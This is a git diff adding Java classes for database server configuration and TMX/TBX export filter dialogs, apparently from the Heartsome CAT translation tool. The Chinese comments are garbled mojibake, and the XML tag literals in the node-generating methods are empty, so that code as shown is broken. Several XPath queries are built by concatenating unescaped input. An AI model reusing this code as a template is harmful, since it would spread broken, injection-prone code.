获å–æ•°æ®åº“æœåŠ¡å™¨é…置文件中ä¿å­˜çš„所有æœåŠ¡å™¨ä¿¡æ¯ + * @return Map<æ•°æ®åº“类型,List<æ•°æ®åº“é…置信æ¯> å‚考{@link DatabaseModelBean}; + */ + public Map> getAllServerConfig() { + Map> map = new HashMap>(); + try { + AutoPilot tempAp = new AutoPilot(vu.getVTDNav()); + tempAp.selectXPath("/servers/server"); + while (tempAp.evalXPath() != -1) { + String type = vu.getCurrentElementAttribut("type", ""); + if (map.containsKey(type)) { + continue; + } else { + map.put(type, getServersConfigByType(type)); + } + } + } catch (XPathParseException e) { + logger.error("", e); + } catch (XPathEvalException e) { + logger.error("", e); + } catch (NavException e) { + logger.error("", e); + } + return map; + } + + /** + * 获å–指定类型数æ®åº“的所有æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param type + * æ•°æ®åº“类型 + * @return ; + */ + public List getServersConfigByType(String type) { + List list = new ArrayList(); + try { + vu.getVTDNav().push(); + ap.selectXPath("/servers/server[@type='" + type + "']"); + while (ap.evalXPath() != -1) { + DatabaseModelBean dbm = new DatabaseModelBean(); + dbm.setId(vu.getCurrentElementAttribut("id", "")); + dbm.setItlDBLocation(vu.getChildContent("location")); + dbm.setInstance(vu.getChildContent("instance")); + dbm.setHost(vu.getChildContent("host")); + dbm.setPort(vu.getChildContent("port")); + dbm.setUserName(vu.getChildContent("user")); + dbm.setPassword(DESImpl.decrypt(vu.getChildContent("password"))); + dbm.setDbType(type); + list.add(dbm); + } + ap.resetXPath(); + vu.getVTDNav().pop(); + } catch (XPathParseException e) { + logger.error("", e); + } catch (XPathEvalException e) { + logger.error("", e); + } catch (NavException e) { + logger.error("", e); + } + return list; + } + + /** + * 生æˆé…置文件中的节点 + * @param type + * æ•°æ®åº“类型 + * @param serverBean + * æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @return 生æˆçš„内容文本; + */ + private String generateServerNode(String type, DatabaseModelBean serverBean) { + StringBuffer content = new StringBuffer(); + + content.append(""); + + content.append(""); + content.append(serverBean.getItlDBLocation()); + content.append(""); + + content.append(""); + content.append(serverBean.getInstance()); + content.append(""); + + content.append(""); + content.append(serverBean.getHost()); + content.append(""); + + content.append(""); + content.append(serverBean.getPort()); + content.append(""); + + content.append(""); + content.append(serverBean.getUserName()); + content.append(""); + + content.append(""); + content.append(DESImpl.encrypt(serverBean.getPassword())); + content.append(""); + + content.append(""); + + return content.toString(); + } + + /** + * 生æˆServeré…ç½®ID + * @return 一个字符串,当å‰æ“作系统中唯一 ; + */ + public String generateServerId() { + StringBuffer bf = new StringBuffer(); + bf.append(System.currentTimeMillis()); + bf.append(new Random().nextInt(10000)); + return bf.toString(); + } + + /** + * 判断是å¦å­˜åœ¨ç›¸åŒçš„æœåŠ¡å™¨.存在则返加id + * @param xpath + * 需è¦æŸ¥è¯¢çš„Serverçš„xpath + * @return ; + */ + private String existServer(String xpath) { + try { + ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("/servers/server[" + xpath + "]"); + if (ap.evalXPath() != -1) { + return vu.getCurrentElementAttribut("id", ""); + } + } catch (Exception e) { + logger.error(Messages.getString("core.DatabaseConfiger.logger4"), e); + } + return ""; + } + + /** + * æ ¹æ®å½“å‰çš„æ•°æ®åº“类型,生æˆXPATH,并调用{@link DatabaseConfiger}中判断æœåŠ¡å™¨åœ¨é…置文件中是å¦å­˜åœ¨ + * @param bean + * 需è¦æ£€æŸ¥æ˜¯å¦å­˜åœ¨çš„æœåŠ¡å™¨é…ç½®ä¿¡æ¯ + * @param metaData + * æ•°æ®åº“å…ƒæ•°æ® + * @return 存在返回当å‰é…置信æ¯åœ¨æ–‡ä»¶ä¸­çš„id; + */ + public String isServerExist(DatabaseModelBean bean, MetaData metaData) { + List xpaths = new ArrayList(); + if (metaData.dataPathSupported()) { + xpaths.add("location='" + bean.getItlDBLocation() + "'"); + } + if (metaData.serverNameSupported()) { + xpaths.add("host='" + bean.getHost() + "'"); + } + if (metaData.portSupported()) { + xpaths.add("port='" + bean.getPort() + "'"); + } + if (metaData.instanceSupported()) { + xpaths.add("instance='" + bean.getInstance() + "'"); + } + + StringBuffer bf = new StringBuffer(); + for (int i = 0; i < xpaths.size(); i++) { + bf.append(xpaths.get(i)); + if (i != xpaths.size() - 1) { + bf.append(" and "); + } + } + return existServer(bf.toString()); + } + + /** + * ä¿å­˜æ–‡ä»¶ + * @param xm + * XMLModifier对象 + * @param fileName + * 文件å + * @return 是å¦ä¿å­˜æˆåŠŸ; + */ + private boolean saveToFile(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + return true; + } catch (ModifyException e) { + logger.error("", e); + e.printStackTrace(); + } catch (TranscodeException e) { + logger.error("", e); + e.printStackTrace(); + } catch (IOException e) { + logger.error("", e); + e.printStackTrace(); + } + + return false; + } +} \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DbValidator.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DbValidator.java new file mode 100644 index 0000000..75b2261 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/DbValidator.java @@ -0,0 +1,41 @@ +/** + * DbValidator.java + * + * Version information : + * + * Date:2012-8-14 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.core; + +import net.heartsome.cat.database.ui.resource.Messages; + + + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class DbValidator { + + public static String valiateDbName(String dbName){ + if(dbName == null){ + return Messages.getString("dialog.inputdbname.msg2"); + } + + if(!dbName.matches("^([a-zA-Z])([a-zA-Z0-9_]){3,14}$")){ + return Messages.getString("dialog.inputdbname.msg1"); + } + return null; + } + + public static void main(String[] args) { + String t = "aaa"; + System.out.println(valiateDbName(t)); + } +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ExportFilterStoreConfiger.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ExportFilterStoreConfiger.java new file mode 100644 index 0000000..af28576 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ExportFilterStoreConfiger.java @@ -0,0 +1,266 @@ +/** + * ExportFilterStoreConfiger.java + * + * Version information : + * + * Date:Feb 16, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.core; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.ui.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportFilterStoreConfiger { + private VTDUtils vu; + private File filterConfigFile; + private AutoPilot ap; + + private static final Logger logger = LoggerFactory.getLogger(ExportFilterStoreConfiger.class); + + public ExportFilterStoreConfiger() { + initResource(); + VTDGen vg = new VTDGen(); + try { + if (vg.parseFile(filterConfigFile.getPath(), true)) { + vu = new VTDUtils(vg.getNav()); + ap = new AutoPilot(vu.getVTDNav()); + } else { + throw new ParseException(); + } + } catch (NavException e) { + logger.error("", e); + } catch (ParseException e) { + logger.error("", e); + } + } + + /** + * åˆå§‹åŒ–资æºã€‚主è¦åˆ¤æ–­å­˜å‚¨çš„文件存ä¸å­˜åœ¨ï¼Œå¦‚æžœä¸å­˜åœ¨åˆ™åˆ›å»º + */ + private void initResource() { + String path = checkConfigDirectory(".config"); + File dbListFile = new File(path + System.getProperty("file.separator") + ".exportFilter"); + if (!dbListFile.exists() || dbListFile.isDirectory()) { + try { + FileOutputStream fos = new FileOutputStream(dbListFile); + BufferedOutputStream bos = new BufferedOutputStream(fos); + StringBuffer bf = new StringBuffer(); + bf.append(""); + bf.append(""); + bf.append(""); + bf.append(""); + bf.append(""); + bf.append(""); + bf.append(""); + bos.write(bf.toString().getBytes()); + bos.close(); + fos.close(); + } catch (IOException e) { + logger.error(Messages.getString("core.ExportFilterStoreConfiger.logger1"), e); + } + } + this.filterConfigFile = dbListFile; + } + + /** + * 检查é…置文件存放目录.如果ä¸å­˜åœ¨åˆ™åˆ›å»º + * @param cfgDirName + * 需è¦æ£€æŸ¥ç›®å½•çš„å称 + * @return ; + */ + private String checkConfigDirectory(String cfgDirName) { + String workspacePath = ResourcesPlugin.getWorkspace().getRoot().getLocation().toString(); + workspacePath = workspacePath + System.getProperty("file.separator") + cfgDirName; + + File dbListFolder = new File(workspacePath); + if (!dbListFolder.exists() || dbListFolder.isFile()) { + dbListFolder.mkdirs(); + } + return workspacePath; + } + + public void saveFilterRule(ExportFilterBean filter) { + String content = generateContent(filter); + if (!content.equals("")) { + try { + XMLModifier xm = vu.insert("/filter/" + filter.getFilterType() + "/text()", content.toString()); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, filterConfigFile); + } catch (Exception e) { + logger.error("", e); + } + ap.resetXPath(); + } + } + + /** + * 检查filterName是å¦å·²ç»å­˜åœ¨ + * @param filterName + * @param ruleType + * "TMX" 或者 "TBX" + * @return ; + */ + public boolean isFilterNameExist(String filterName, String ruleType) { + Assert.isLegal(ruleType.equals("TMX") || ruleType.equals("TBX"), Messages.getString("core.ExportFilterStoreConfiger.msg1")); + try { + AutoPilot tempAp = new AutoPilot(vu.getVTDNav()); + tempAp.selectXPath("/filter/" + ruleType + "/content[@name='" + filterName + "']"); + if (tempAp.evalXPath() != -1) { + return true; + } + } catch (XPathParseException e) { + logger.error("", e); + } catch (XPathEvalException e) { + logger.error("", e); + } catch (NavException e) { + logger.error("", e); + } + return false; + } + + /** + * 获å–过滤规则 + * @param ruleType + * "TMX" 或者 "TBX" + * @return 空的集åˆæˆ–者带有内容的集åˆ; + */ + public List getFilterRule(String ruleType) { + Assert.isLegal(ruleType.equals("TMX") || ruleType.equals("TBX"), Messages.getString("core.ExportFilterStoreConfiger.msg1")); + List filterList = new ArrayList(); + try { + AutoPilot tempAp = new AutoPilot(vu.getVTDNav()); + tempAp.selectXPath("/filter/" + ruleType + "/content"); + while (tempAp.evalXPath() != -1) { + Hashtable attrs = vu.getCurrentElementAttributs(); + ExportFilterBean bean = new ExportFilterBean(); + bean.setFilterType(ruleType); + bean.setFilterName(attrs.get("name")); + bean.setFilterConnector(attrs.get("type")); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.selectXPath("./option"); + List cBeanList = new ArrayList(); + while (ap.evalXPath() != -1) { + Hashtable oAttrs = vu.getCurrentElementAttributs(); + ExportFilterComponentBean cBean = new ExportFilterComponentBean(ruleType); + cBean.setOptionName(oAttrs.get("name")); + cBean.setCurrentExpression(oAttrs.get("operator")); + cBean.setFilterVlaue(oAttrs.get("value")); + cBeanList.add(cBean); + } + if (cBeanList.size() == 0) { // 没有æ¡ä»¶çš„规则无æ„义 + // deleteFilterRuleByName(bean.getFilterName(),ruleType); + continue; + } + bean.setFilterOption(cBeanList); + filterList.add(bean); + } + } catch (XPathParseException e) { + logger.error("", e); + } catch (XPathEvalException e) { + logger.error("", e); + } catch (NavException e) { + logger.error("", e); + } + return filterList; + } + + /** + * 删除指定å称的规则 + * @param filterName + * 规则å称 + * @param ruleType + * "TMX" 或者 "TBX"; + */ + public void deleteFilterRuleByName(String filterName, String ruleType) { + Assert.isLegal(!"TMX".equals(ruleType) || !"TBX".equals(ruleType)); + if (filterName != null && !filterName.equals("")) { + try { + XMLModifier xm = vu.delete("/filter/" + ruleType + "/content[@name='" + filterName + "']"); + vu.bind(xm.outputAndReparse()); + saveToFile(xm, filterConfigFile); + } catch (Exception e) { + logger.error(Messages.getString("core.ExportFilterStoreConfiger.logger2"), e); + } + } + } + + private String generateContent(ExportFilterBean filter) { + StringBuffer bf = new StringBuffer(); + bf.append(""); + List options = filter.getFilterOption(); + for (Iterator iterator = options.iterator(); iterator.hasNext();) { + ExportFilterComponentBean bean = iterator.next(); + bf.append(""); + return bf.toString(); + } + + /** + * ä¿å­˜æ–‡ä»¶ + * @param xm + * XMLModifier对象 + * @param fileName + * 文件å + * @return 是å¦ä¿å­˜æˆåŠŸ; + */ + private boolean saveToFile(XMLModifier xm, File file) { + try { + FileOutputStream fos = new FileOutputStream(file); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + return true; + } catch (ModifyException e) { + logger.error("", e); + e.printStackTrace(); + } catch (TranscodeException e) { + logger.error("", e); + e.printStackTrace(); + } catch (IOException e) { + logger.error("", e); + e.printStackTrace(); + } + + return false; + } +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ImageConstants.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ImageConstants.java new file mode 100644 index 0000000..1f8b892 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/core/ImageConstants.java @@ -0,0 +1,29 @@ +/** + * ImageConstants.java + * + * Version information : + * + * Date:2012-4-23 + * + * Copyright notice : + */ +package net.heartsome.cat.database.ui.core; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + // æ•°æ®åº“管ç†æ¨¡å— + String ORACLE = "images/database/db-manage/oracle.png"; + String MYSQL = "images/database/db-manage/mysql.png"; + String POSTGRESQL = "images/database/db-manage/postgresql.png"; + String SQLSERVER = "images/database/db-manage/sqlserver.png"; + String INTERNALDB = "images/database/db-manage/internaldb.png"; + String IP = "images/database/db-manage/ip.png"; + + // 新建å‘导 + String CHECKED = "images/database/new-project/checked.gif"; + String UNCHECKED = "images/database/new-project/unchecked.gif"; +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterComposite.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterComposite.java new file mode 100644 index 0000000..fbccffd --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterComposite.java @@ -0,0 +1,289 @@ +package net.heartsome.cat.database.ui.dialog; + +import java.text.DecimalFormat; +import java.text.SimpleDateFormat; +import java.util.Calendar; + +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.ui.resource.Messages; + +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DateTime; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Text; + +public class ExportFilterComposite extends Composite implements Listener { + + private ExportFilterComponentBean baseDataBean; + private String[] filterNames; + private Control valueText; + private ComboViewer conditionComboViewer; + private ComboViewer opratorComboViewer; + private Button addButton; + private Button deleteButton; + private Composite dynaComposite; + + private String ruleType; + + /** + * Create the composite. + * @param parent + * @param style + */ + public ExportFilterComposite(Composite parent, int style, String ruleType) { + super(parent, style); + this.ruleType = ruleType; + this.baseDataBean = new ExportFilterComponentBean(ruleType); + this.filterNames = baseDataBean.getFilterNames(); + this.createContent(); + this.initData(); + } + + public ExportFilterComposite(Composite parent, int style, String ruleType, ExportFilterComponentBean baseDataBean) { + super(parent, style); + this.ruleType = ruleType; + this.baseDataBean = baseDataBean; + this.filterNames = baseDataBean.getFilterNames(); + this.createContent(); + this.initData(); + } + + public void handleEvent(Event event) { + Composite parent = this.getParent(); + Composite topParent = parent.getParent(); + if (event.widget == addButton) { // add button + ExportFilterComponentBean bean = new ExportFilterComponentBean(this.ruleType); + bean.setOptionName(this.baseDataBean.getOptionName()); + bean.setCurrentExpression(this.baseDataBean.getCurrentExpression()); + + addComponent(parent, bean); + + } else if (event.widget == deleteButton) { // delete button + this.dispose(); + Integer number = (Integer) parent.getData("currentNumber") - 1; + parent.setData("currentNumber", number); + if (number == 1) { + Control c = parent.getChildren()[0]; + if (c instanceof ExportFilterComposite) { + ExportFilterComposite temp = (ExportFilterComposite) c; + temp.setDeleteButtonEnabled(false); + } + } + } + + if (topParent instanceof ScrolledComposite) { + ((ScrolledComposite) topParent).setMinSize(parent.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + parent.layout(true); + } + + /** + * 增加一个组件 + * @param parent + * 组件容器 + * @param bean + * {@link ExportFilterComponentBean}; + */ + public void addComponent(Composite parent, ExportFilterComponentBean bean) { + Integer number = (Integer) parent.getData("currentNumber") + 1; + parent.setData("currentNumber", number); + if (number == 2) { + Control c = parent.getChildren()[0]; + if (c instanceof ExportFilterComposite) { + ExportFilterComposite temp = (ExportFilterComposite) c; + temp.setDeleteButtonEnabled(true); + } + } + + ExportFilterComposite tempComponent = new ExportFilterComposite(parent, SWT.None, this.ruleType, bean); + tempComponent.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + } + + /** + * åˆå§‹åŒ–æ•°æ® + */ + private void initData() { + // 过滤规则å称 此方法设置选中将ä¸ä¼šè§¦å‘viewerçš„selectionChanged事件 + String[] options = baseDataBean.getFilterNames(); + String currentOption = baseDataBean.getOptionName(); + for (int i = 0; i < options.length; i++) { + if (currentOption.equals(options[i])) { + conditionComboViewer.getCombo().select(i); + break; + } + } + // conditionComboViewer.setSelection(new StructuredSelection(baseDataBean.getOptionName())); + + // 过滤æ¡ä»¶ + opratorComboViewer.setSelection(new StructuredSelection(baseDataBean.getCurrentExpression())); + + handlerFilterChangedEvent(); + } + + /** 创建控件 */ + private void createContent() { + setBackground(Display.getDefault().getSystemColor(SWT.COLOR_WHITE)); + GridLayout gridLayout = new GridLayout(5, false); + gridLayout.horizontalSpacing = 2; + gridLayout.marginWidth = 0; + gridLayout.marginHeight = 0; + setLayout(gridLayout); + + conditionComboViewer = new ComboViewer(this, SWT.NONE | SWT.READ_ONLY); + Combo conditionCombo = conditionComboViewer.getCombo(); + GridData gdConditionCombo = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdConditionCombo.widthHint = 200; + conditionCombo.setLayoutData(gdConditionCombo); + conditionComboViewer.setContentProvider(new ArrayContentProvider()); + conditionComboViewer.setInput(filterNames); + + conditionComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + baseDataBean.setOptionName((String) sel.getFirstElement()); + + handlerFilterChangedEvent(); + opratorComboViewer.setInput(baseDataBean.getCurrentFilterExpressions()); + opratorComboViewer.getCombo().select(0); // 默认选中第一个 + baseDataBean.setCurrentExpression(opratorComboViewer.getCombo().getText()); + } + }); + opratorComboViewer = new ComboViewer(this, SWT.NONE | SWT.READ_ONLY); + Combo opratorCombo = opratorComboViewer.getCombo(); + GridData gd_opratorCombo = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gd_opratorCombo.widthHint = 100; + opratorCombo.setLayoutData(gd_opratorCombo); + opratorComboViewer.setContentProvider(new ArrayContentProvider()); + opratorComboViewer.setInput(this.baseDataBean.getCurrentFilterExpressions()); + opratorComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + baseDataBean.setCurrentExpression((String) sel.getFirstElement()); + } + }); + + dynaComposite = new Composite(this, SWT.NONE); + dynaComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + GridLayout gldynaComposite = new GridLayout(1, false); + gldynaComposite.marginWidth = 0; + gldynaComposite.marginHeight = 0; + dynaComposite.setLayout(gldynaComposite); + valueText = new Text(dynaComposite, SWT.BORDER); + valueText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + addButton = new Button(this, SWT.NONE); + GridData gdAddButton = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gdAddButton.widthHint = 25; + addButton.setLayoutData(gdAddButton); + addButton.setText("+"); + addButton.addListener(SWT.Selection, this); + + deleteButton = new Button(this, SWT.NONE); + GridData gdDeletebutton = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gdDeletebutton.widthHint = 25; + deleteButton.setLayoutData(gdDeletebutton); + deleteButton.setText("-"); + deleteButton.addListener(SWT.Selection, this); + } + + /** + * 处ç†è¿‡æ»¤æ¡ä»¶å‘生å˜åŒ–时动æ€åˆ›å»ºç»„件 ; + */ + private void handlerFilterChangedEvent() { + String optionName = baseDataBean.getOptionName(); + String value = baseDataBean.getFilterVlaue(); + if (optionName.equals(Messages.getString("dialog.ExportFilterComposite.creationDate")) + || optionName.equals(Messages.getString("dialog.ExportFilterComposite.changeDate"))) { + if (!valueText.isDisposed()) { + valueText.dispose(); + } + DateTime valueTextDateTime = new DateTime(dynaComposite, SWT.DATE | SWT.BORDER); + if (value != null) { + SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + try { + Calendar c = Calendar.getInstance(); + c.setTime(df.parse(value)); + valueTextDateTime.setDate(c.get(Calendar.YEAR), c.get(Calendar.MONTH), c.get(Calendar.DATE)); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + valueText = valueTextDateTime; + } else { + if (!valueText.isDisposed()) { + valueText.dispose(); + } + valueText = new Text(dynaComposite, SWT.BORDER); + if (value != null) { + ((Text) valueText).setText(value); + } + } + valueText.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + dynaComposite.layout(true); + } + + /** + * 设置增加按钮是å¦å¯ç”¨ + * @param enabled + * true-å¯ç”¨,false-ä¸å¯ç”¨; + */ + public void setAddButtonEnabled(boolean enabled) { + this.addButton.setEnabled(enabled); + } + + /** + * 设置删除按钮是å¦å¯ç”¨ + * @param enabled + * true-å¯ç”¨,false-ä¸å¯ç”¨; + */ + public void setDeleteButtonEnabled(boolean enabled) { + this.deleteButton.setEnabled(enabled); + } + + /** + * 获å–当å‰è¿‡æ»¤æ¡ä»¶çš„值 + * @return ; + */ + public ExportFilterComponentBean getValue() { + if (valueText instanceof Text) { + this.baseDataBean.setFilterVlaue(((Text) valueText).getText()); + } + + else if (valueText instanceof DateTime) { + DateTime temp = (DateTime) valueText; + StringBuffer bf = new StringBuffer(); + bf.append(temp.getYear()); + bf.append("-"); + DecimalFormat df = new DecimalFormat("00"); + bf.append(df.format(temp.getMonth() + 1)); + bf.append("-"); + bf.append(df.format(temp.getDay())); + bf.append(" 00:00:00"); // 补全时间 + this.baseDataBean.setFilterVlaue(bf.toString()); + } + + return this.baseDataBean; + } +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterSettingDialog.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterSettingDialog.java new file mode 100644 index 0000000..1f2c96a --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/dialog/ExportFilterSettingDialog.java @@ -0,0 +1,267 @@ +/** + * ExportFilterSettingDialog.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.dialog; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger; +import net.heartsome.cat.database.ui.resource.Messages; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ExportFilterSettingDialog extends Dialog { + public static final Logger logger = LoggerFactory.getLogger(ExportFilterSettingDialog.class); + private Text filterNameText; + private Composite dynaComposite; + private Button isAllCbtn; + private Button isAnyCbtn; + private String ruleType = "TMX"; // 默认为TMX + + private ExportFilterBean currentFilter; + private ExportFilterStoreConfiger filterStore; + + /** + * 创建对è¯æ¡† + * @param parentShell + * @param ruleType + * 过滤规则设置用途,必须为"TMX"或者"TBX" + */ + public ExportFilterSettingDialog(Shell parentShell, String ruleType) { + super(parentShell); + Assert.isLegal(ruleType.equals("TMX") || ruleType.equals("TBX"), + Messages.getString("dialog.ExportFilterSettingDialog.msg1")); + this.ruleType = ruleType; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ExportFilterSettingDialog.title")); + } + + protected boolean isResizable() { + return true; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Composite composite = new Composite(container, SWT.NONE); + composite.setLayout(new GridLayout(2, false)); + composite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label filterNameLabel = new Label(composite, SWT.NONE); + filterNameLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + filterNameLabel.setText(Messages.getString("dialog.ExportFilterSettingDialog.filterNameLabel")); + + filterNameText = new Text(composite, SWT.BORDER); + filterNameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Composite optionComposite = new Composite(container, SWT.NONE); + optionComposite.setLayout(new GridLayout(2, false)); + optionComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 